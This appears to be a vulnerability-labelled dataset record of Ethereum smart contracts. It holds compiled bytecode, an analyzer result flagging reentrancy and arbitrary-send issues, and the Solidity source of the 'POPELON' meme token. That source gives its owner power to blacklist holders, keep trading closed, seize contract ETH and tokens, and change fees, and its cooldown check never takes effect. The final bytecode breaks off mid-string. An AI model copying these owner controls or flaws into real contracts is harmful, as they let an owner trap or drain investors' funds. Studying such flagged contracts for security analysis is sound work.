6e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610643565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610643565b6001600160a01b038216610e325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610643565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610643565b6001600160a01b038216610f595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610643565b60008111610fbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610643565b6000546001600160a01b03848116911614801590610fe757506000546001600160a01b03838116911614155b156112c857601454600160a01b900460ff16611080576000546001600160a01b038481169116146110805760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610643565b6015548111156110d25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610643565b6001600160a01b03831660009081526010602052604090205460ff1615801561111457506001600160a01b03821660009081526010602052604090205460ff16155b61116c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610643565b6014546001600160a01b038381169116146111f1576016548161118e846107f8565b6111989190611e51565b106111f15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610643565b60006111fc306107f8565b6017546015549192508210159082106112155760155491505b80801561122c5750601454600160a81b900460ff16155b801561124657506014546001600160a01b03868116911614155b801561125b5750601454600160b01b900460ff165b801561128057506001600160a01b03851660009081526005602052604090205460ff16155b80156112a557506001600160a01b03841660009081526005602052604090205460ff16155b156112c5576112b382611471565b4780156112c3576112c347611409565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130a57506001600160a01b03831660009081526005602052604090205460ff165b8061133c57506014546001600160a01b0385811691161480159061133c57506014546001600160a01b03848116911614155b15611349575060006113c3565b6014546001600160a01b03858116911614801561137457506013546001600160a01b03848116911614155b1561138657600854600c55600954600d555b6014546001600160a01b0384811691161480156113b157506013546001600160a01b03858116911614155b156113c357600a54600c55600b54600d555b610c50848484846115eb565b600081848411156113f35760405162461bcd60e51b81526004016106439190611ba8565b5060006114008486611e69565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b4573d6000803e3d6000fd5b600060065482111561145457600080fd5b600061145e611619565b905061146a838261163c565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b9576114b9611def565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611512573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115369190611e34565b8160018151811061154957611549611def565b6001600160a01b03928316602091820292909201015260135461156f9130911684610d6f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115a8908590600090869030904290600401611e80565b600060405180830381600087803b1580156115c257600080fd5b505af11580156115d6573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115f8576115f861167e565b6116038484846116ac565b80610c5057610c50600e54600c55600f54600d55565b60008060006116266117a3565b9092509050611635828261163c565b9250505090565b600061146a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e7565b600c5415801561168e5750600d54155b1561169557565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116be87611815565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116f09087611872565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461171f90866118b4565b6001600160a01b03891660009081526002602052604090205561174181611913565b61174b848361195d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179091815260200190565b60405180910390a3505050505050505050565b600654600090819069021e19e0c9bab24000006117c0828261163c565b8210156117de5750506006549269021e19e0c9bab240000092509050565b90939092509050565b600081836118085760405162461bcd60e51b81526004016106439190611ba8565b5060006114008486611ef1565b60008060008060008060008060006118328a600c54600d54611981565b9250925092506000611842611619565b905060008060006118558e8787876119d6565b919e509c509a509598509396509194505050505091939550919395565b600061146a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113cf565b6000806118c18385611e51565b90508381101561146a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610643565b600061191d611619565b9050600061192b8383611a26565b3060009081526002602052604090205490915061194890826118b4565b30600090815260026020526040902055505050565b60065461196a9083611872565b60065560075461197a90826118b4565b6007555050565b600080808061199b60646119958989611a26565b9061163c565b905060006119ae60646119958a89611a26565b905060006119c6826119c08b86611872565b90611872565b9992985090965090945050505050565b60008080806119e58886611a26565b905060006119f38887611a26565b90506000611a018888611a26565b90506000611a13826119c08686611872565b939b939a50919850919650505050505050565b600082600003611a38575060006106c9565b6000611a448385611f13565b905082611a518583611ef1565b1461146a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610643565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b8035611ade81611abe565b919050565b60006020808385031215611af657600080fd5b823567ffffffffffffffff80821115611b0e57600080fd5b818501915085601f830112611b2257600080fd5b813581811115611b3457611b34611aa8565b8060051b604051601f19603f83011681018181108582111715611b5957611b59611aa8565b604052918252848201925083810185019188831115611b7757600080fd5b938501935b82851015611b9c57611b8d85611ad3565b84529385019392850192611b7c565b98975050505050505050565b600060208083528351808285015260005b81811015611bd557858101830151858201604001528201611bb9565b81811115611be7576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1057600080fd5b8235611c1b81611abe565b946020939093013593505050565b600080600060608486031215611c3e57600080fd5b8335611c4981611abe565b92506020840135611c5981611abe565b929592945050506040919091013590565b600060208284031215611c7c57600080fd5b813561146a81611abe565b80358015158114611ade57600080fd5b600060208284031215611ca957600080fd5b61146a82611c87565b600060208284031215611cc457600080fd5b5035919050565b60008060008060808587031215611ce157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1257600080fd5b833567ffffffffffffffff80821115611d2a57600080fd5b818601915086601f830112611d3e57600080fd5b813581811115611d4d57600080fd5b8760208260051b8501011115611d6257600080fd5b602092830195509350611d789186019050611c87565b90509250925092565b60008060408385031215611d9457600080fd5b8235611d9f81611abe565b91506020830135611daf81611abe565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e2d57611e2d611e05565b5060010190565b600060208284031215611e4657600080fd5b815161146a81611abe565b60008219821115611e6457611e64611e05565b500190565b600082821015611e7b57611e7b611e05565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed05784516001600160a01b031683529383019391830191600101611eab565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f0e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f2d57611f2d611e05565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208d50f33bb9ee9189ab2cd71a10ced2fdc5568adf1b47d4e7b560cf6be885cc9764736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,010
0x91fe3594920f0a00f880791db8fdaa95e2e060a3
/* _ __ _,.---._ _ __ ,----. ,----. ,----. _,.---._ .-._ .-`.' ,`. ,-.' , - `. .-`.' ,`. ,-.--` , \ ,--.-. .-,--.,-.--` , \ ,-.--` , \ _.-. ,-.' , - `. /==/ \ .-._ /==/, - \ /==/_, , - \ /==/, - \ |==|- _.-`/==/- / /=/_ /|==|- _.-` |==|- _.-` .-,.'| /==/_, , - \ |==|, \/ /, / |==| _ .=. ||==| .=. ||==| _ .=. | |==| `.-.\==\, \/=/. / |==| `.-. |==| `.-.|==|, | |==| .=. ||==|- \| | |==| , '=',||==|_ : ;=: - ||==| , '=',|/==/_ , / \==\ \/ -/ /==/_ , / /==/_ , /|==|- | |==|_ : ;=: - ||==| , | -| |==|- '..' |==| , '=' ||==|- '..' |==| .-' |==| ,_/ |==| .-' |==| .-' |==|, | |==| , '=' ||==| - _ | |==|, | \==\ - ,_ / |==|, | |==|_ ,`-._ \==\-, / |==|_ ,`-._ |==|_ ,`-._|==|- `-._\==\ - ,_ / |==| /\ , | /==/ - | '.='. - .' /==/ - | /==/ , / /==/._/ /==/ , / /==/ , //==/ - , ,/'.='. - .' /==/, | |- | `--`---' `--`--'' `--`---' `--`-----`` `--`-` `--`-----`` `--`-----`` `--`-----' `--`--'' `--`./ `--` "I'm strong till the finich, 'cause I eats me spinach, I'm Elon the SpaceX Man (thoo thoo)." -- Popeye Elon, Early Januray 2022 */ pragma solidity >=0.7.0 <0.8.0; // SPDX-License-Identifier: Unlicensed abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract POPELON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => uint256) private _lastTX; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlacklisted; address[] private _excluded; bool public tradingLive = false; uint256 private _totalSupply = 1300000000 * 10**9; uint256 public _totalBurned; string private _name = "Popeye Elon"; string private _symbol = "POPELON"; uint8 private _decimals = 9; address payable private _projWallet; uint256 public firstLiveBlock; uint256 public _spinach = 3; uint256 public _liquidityMarketingFee = 10; uint256 private _previousSpinach = _spinach; uint256 private _previousLiquidityMarketingFee = _liquidityMarketingFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public antiBotLaunch = true; uint256 public _maxTxAmount = 6500000 * 10**9; uint256 public _maxHoldings = 65000000 * 10**9; bool public maxHoldingsEnabled = true; bool public maxTXEnabled = true; bool public antiSnipe = true; bool public extraCalories = true; bool public cooldown = true; uint256 public numTokensSellToAddToLiquidity = 13000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _balance[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uni V2 // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function totalBurned() public view returns (uint256) { return _totalBurned; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function setProjWallet(address payable _address) external onlyOwner { _projWallet = _address; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount * 10**9; } function setMaxHoldings(uint256 maxHoldings) external onlyOwner() { _maxHoldings = maxHoldings * 10**9; } function setMaxTXEnabled(bool enabled) external onlyOwner() { maxTXEnabled = enabled; } function setMaxHoldingsEnabled(bool enabled) external onlyOwner() { maxHoldingsEnabled = enabled; } function setAntiSnipe(bool enabled) external onlyOwner() { antiSnipe = enabled; } function setCooldown(bool enabled) external onlyOwner() { cooldown = enabled; } function setExtraCalories(bool enabled) external onlyOwner() { extraCalories = enabled; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimETH (address walletaddress) external onlyOwner { // make sure we capture all ETH that may or may not be sent to this contract payable(walletaddress).transfer(address(this).balance); } function claimAltTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function blacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = true; } function removeFromBlacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = false; } function getIsBlacklistedStatus(address _address) external view returns (bool) { return _isBlacklisted[_address]; } function allowtrading() external onlyOwner() { tradingLive = true; firstLiveBlock = block.number; } function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _eatSpinach(address _account, uint _amount) private { require( _amount <= balanceOf(_account)); _balance[_account] = _balance[_account].sub(_amount); _totalSupply = _totalSupply.sub(_amount); _totalBurned = _totalBurned.add(_amount); emit Transfer(_account, address(0), _amount); } function _projectBoost(uint _amount) private { _balance[address(this)] = _balance[address(this)].add(_amount); } function removeAllFee() private { if(_spinach == 0 && _liquidityMarketingFee == 0) return; _previousSpinach = _spinach; _previousLiquidityMarketingFee = _liquidityMarketingFee; _spinach = 0; _liquidityMarketingFee = 0; } function restoreAllFee() private { _spinach = _previousSpinach; _liquidityMarketingFee = _previousLiquidityMarketingFee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlacklisted[from] && !_isBlacklisted[to]); if(!tradingLive){ require(from == owner()); // only owner allowed to trade or add liquidity } if(maxTXEnabled){ if(from != owner() && to != owner()){ require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } } if(cooldown){ if( to != owner() && to != address(this) && to != address(uniswapV2Router) && to != uniswapV2Pair) { require(_lastTX[tx.origin] <= (block.timestamp + 30 seconds), "Cooldown in effect"); _lastTX[tx.origin] = block.timestamp; } } if(antiSnipe){ if(from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ require( tx.origin == to); } } if(maxHoldingsEnabled){ if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) { uint balance = balanceOf(to); require(balance.add(amount) <= _maxHoldings); } } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount){ contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if(from == uniswapV2Pair && to != address(this) && to != address(uniswapV2Router)){ _spinach = 3; _liquidityMarketingFee = 10; } else { _spinach = 10; _liquidityMarketingFee = 3; } _tokenTransfer(from,to,amount,takeFee); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(antiBotLaunch){ if(block.number <= firstLiveBlock && sender == uniswapV2Pair && recipient != address(uniswapV2Router) && recipient != address(this)){ _isBlacklisted[recipient] = true; } } if(!takeFee) removeAllFee(); uint256 spinachToEat = amount.mul(_spinach).div(100); uint256 projectBoost = amount.mul(_liquidityMarketingFee).div(100); uint256 amountWithNoSpinach = amount.sub(spinachToEat); uint256 amountTransferred = amount.sub(projectBoost).sub(spinachToEat); _eatSpinach(sender, spinachToEat); _projectBoost(projectBoost); _balance[sender] = _balance[sender].sub(amountWithNoSpinach); _balance[recipient] = _balance[recipient].add(amountTransferred); if(extraCalories && sender != uniswapV2Pair && sender != address(this) && sender != address(uniswapV2Router) && (recipient == address(uniswapV2Router) || recipient == uniswapV2Pair)) { _eatSpinach(uniswapV2Pair, spinachToEat); } emit Transfer(sender, recipient, amountTransferred); if(!takeFee) restoreAllFee(); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokensForLiq = (contractTokenBalance.div(5)); uint256 half = tokensForLiq.div(2); uint256 toSwap = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(half, newBalance); payable(_projWallet).transfer(address(this).balance); emit SwapAndLiquify(half, newBalance, half); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } }
0x6080604052600436106102e85760003560e01c806370a0823111610190578063a6334231116100dc578063dcebf63b11610095578063ebb2b6451161006f578063ebb2b64514610a19578063ec28438a14610a4c578063f9f92be414610a76578063fd01bd4c14610aa9576102ef565b8063dcebf63b14610996578063dd62ed3e146109ab578063ea2f0b37146109e6576102ef565b8063a6334231146108dd578063a9059cbb146108f2578063c41ba8101461092b578063c49b9a8014610940578063d12a76881461096c578063d89135cd14610981576102ef565b80637e66c0b9116101495780638da5cb5b116101235780638da5cb5b1461084e57806395d89b411461086357806395f6f56714610878578063a457c2d7146108a4576102ef565b80637e66c0b9146107c757806381a6731a14610824578063875e7f1014610839576102ef565b806370a0823114610753578063715018a614610786578063725e07691461079b578063764d72bf146107c7578063787a08a6146107fa5780637d1db4a51461080f576102ef565b8063313ce5671161024f57806349bd5a5e116102085780635342acb4116101e25780635342acb414610697578063537df3b6146106ca5780635ae9e94b146106fd578063692337e214610727576102ef565b806349bd5a5e146106585780634a74bb021461066d5780634e45e92a14610682576102ef565b8063313ce5671461054557806339509351146105705780633f9b7607146105a9578063413550e3146105e4578063423ad37514610610578063437823ec14610625576102ef565b80631694505e116102a15780631694505e1461044f57806316d624a51461048057806318160ddd146104ae57806323b872dd146104c357806329e04b4a146105065780632fd739bb14610530576102ef565b806306fdde03146102f4578063084e4f8a1461037e578063095d2d33146103c5578063095ea7b3146103ec57806311704f521461042557806312db00161461043a576102ef565b366102ef57005b600080fd5b34801561030057600080fd5b50610309610abe565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561034357818101518382015260200161032b565b50505050905090810190601f1680156103705780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561038a57600080fd5b506103b1600480360360208110156103a157600080fd5b50356001600160a01b0316610b54565b604080519115158252519081900360200190f35b3480156103d157600080fd5b506103da610b72565b60408051918252519081900360200190f35b3480156103f857600080fd5b506103b16004803603604081101561040f57600080fd5b506001600160a01b038135169060200135610b78565b34801561043157600080fd5b506103b1610b96565b34801561044657600080fd5b506103b1610b9f565b34801561045b57600080fd5b50610464610ba8565b604080516001600160a01b039092168252519081900360200190f35b34801561048c57600080fd5b506104ac600480360360208110156104a357600080fd5b50351515610bcc565b005b3480156104ba57600080fd5b506103da610c44565b3480156104cf57600080fd5b506103b1600480360360608110156104e657600080fd5b506001600160a01b03813581169160208101359091169060400135610c4a565b34801561051257600080fd5b506104ac6004803603602081101561052957600080fd5b5035610cd1565b34801561053c57600080fd5b506103b1610d34565b34801561055157600080fd5b5061055a610d44565b6040805160ff9092168252519081900360200190f35b34801561057c57600080fd5b506103b16004803603604081101561059357600080fd5b506001600160a01b038135169060200135610d4d565b3480156105b557600080fd5b506104ac600480360360408110156105cc57600080fd5b506001600160a01b0381358116916020013516610d9b565b3480156105f057600080fd5b506104ac6004803603602081101561060757600080fd5b50351515610efb565b34801561061c57600080fd5b506103da610f66565b34801561063157600080fd5b506104ac6004803603602081101561064857600080fd5b50356001600160a01b0316610f6c565b34801561066457600080fd5b50610464610fe8565b34801561067957600080fd5b506103b161100c565b34801561068e57600080fd5b506103b161101a565b3480156106a357600080fd5b506103b1600480360360208110156106ba57600080fd5b50356001600160a01b0316611028565b3480156106d657600080fd5b506104ac600480360360208110156106ed57600080fd5b50356001600160a01b0316611046565b34801561070957600080fd5b506104ac6004803603602081101561072057600080fd5b50356110bf565b34801561073357600080fd5b506104ac6004803603602081101561074a57600080fd5b50351515611122565b34801561075f57600080fd5b506103da6004803603602081101561077657600080fd5b50356001600160a01b0316611198565b34801561079257600080fd5b506104ac6111b3565b3480156107a757600080fd5b506104ac600480360360208110156107be57600080fd5b50351515611255565b3480156107d357600080fd5b506104ac600480360360208110156107ea57600080fd5b50356001600160a01b03166112c9565b34801561080657600080fd5b506103b161135a565b34801561081b57600080fd5b506103da61136b565b34801561083057600080fd5b506103da611371565b34801561084557600080fd5b506103da611377565b34801561085a57600080fd5b5061046461137d565b34801561086f57600080fd5b5061030961138c565b34801561088457600080fd5b506104ac6004803603602081101561089b57600080fd5b503515156113ed565b3480156108b057600080fd5b506103b1600480360360408110156108c757600080fd5b506001600160a01b03813516906020013561145f565b3480156108e957600080fd5b506104ac6114c7565b3480156108fe57600080fd5b506103b16004803603604081101561091557600080fd5b506001600160a01b038135169060200135611532565b34801561093757600080fd5b506103b1611546565b34801561094c57600080fd5b506104ac6004803603602081101561096357600080fd5b50351515611555565b34801561097857600080fd5b506103da6115fc565b34801561098d57600080fd5b506103da611602565b3480156109a257600080fd5b506103b1611608565b3480156109b757600080fd5b506103da600480360360408110156109ce57600080fd5b506001600160a01b0381358116916020013516611617565b3480156109f257600080fd5b506104ac60048036036020811015610a0957600080fd5b50356001600160a01b0316611642565b348015610a2557600080fd5b506104ac60048036036020811015610a3c57600080fd5b50356001600160a01b03166116bb565b348015610a5857600080fd5b506104ac60048036036020811015610a6f57600080fd5b503561173b565b348015610a8257600080fd5b506104ac60048036036020811015610a9957600080fd5b50356001600160a01b031661179e565b348015610ab557600080fd5b506103da61181a565b600c8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b4a5780601f10610b1f57610100808354040283529160200191610b4a565b820191906000526020600020905b815481529060010190602001808311610b2d57829003601f168201915b5050505050905090565b6001600160a01b031660009081526007602052604090205460ff1690565b60165481565b6000610b8c610b85611820565b8484611824565b5060015b92915050565b60095460ff1681565b60175460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b610bd4611820565b6000546001600160a01b03908116911614610c24576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b601780549115156401000000000264ff0000000019909216919091179055565b600a5490565b6000610c57848484611910565b610cc784610c63611820565b610cc285604051806060016040528060288152602001612acb602891396001600160a01b038a16600090815260046020526040812090610ca1611820565b6001600160a01b031681526020810191909152604001600020549190611f79565b611824565b5060019392505050565b610cd9611820565b6000546001600160a01b03908116911614610d29576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b633b9aca0002601855565b6017546301000000900460ff1681565b600e5460ff1690565b6000610b8c610d5a611820565b84610cc28560046000610d6b611820565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490612010565b610da3611820565b6000546001600160a01b03908116911614610df3576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b816001600160a01b031663a9059cbb82846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610e5057600080fd5b505afa158015610e64573d6000803e3d6000fd5b505050506040513d6020811015610e7a57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610ecb57600080fd5b505af1158015610edf573d6000803e3d6000fd5b505050506040513d6020811015610ef557600080fd5b50505050565b610f03611820565b6000546001600160a01b03908116911614610f53576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6017805460ff1916911515919091179055565b600f5481565b610f74611820565b6000546001600160a01b03908116911614610fc4576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b7f0000000000000000000000000f459808da30e68c695416b1aa05f5beae29219781565b601454610100900460ff1681565b601754610100900460ff1681565b6001600160a01b031660009081526005602052604090205460ff1690565b61104e611820565b6000546001600160a01b0390811691161461109e576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6110c7611820565b6000546001600160a01b03908116911614611117576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b633b9aca0002601655565b61112a611820565b6000546001600160a01b0390811691161461117a576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6017805491151563010000000263ff00000019909216919091179055565b6001600160a01b031660009081526002602052604090205490565b6111bb611820565b6000546001600160a01b0390811691161461120b576040805162461bcd60e51b81526020600482018190526024820152600080516020612af38339815191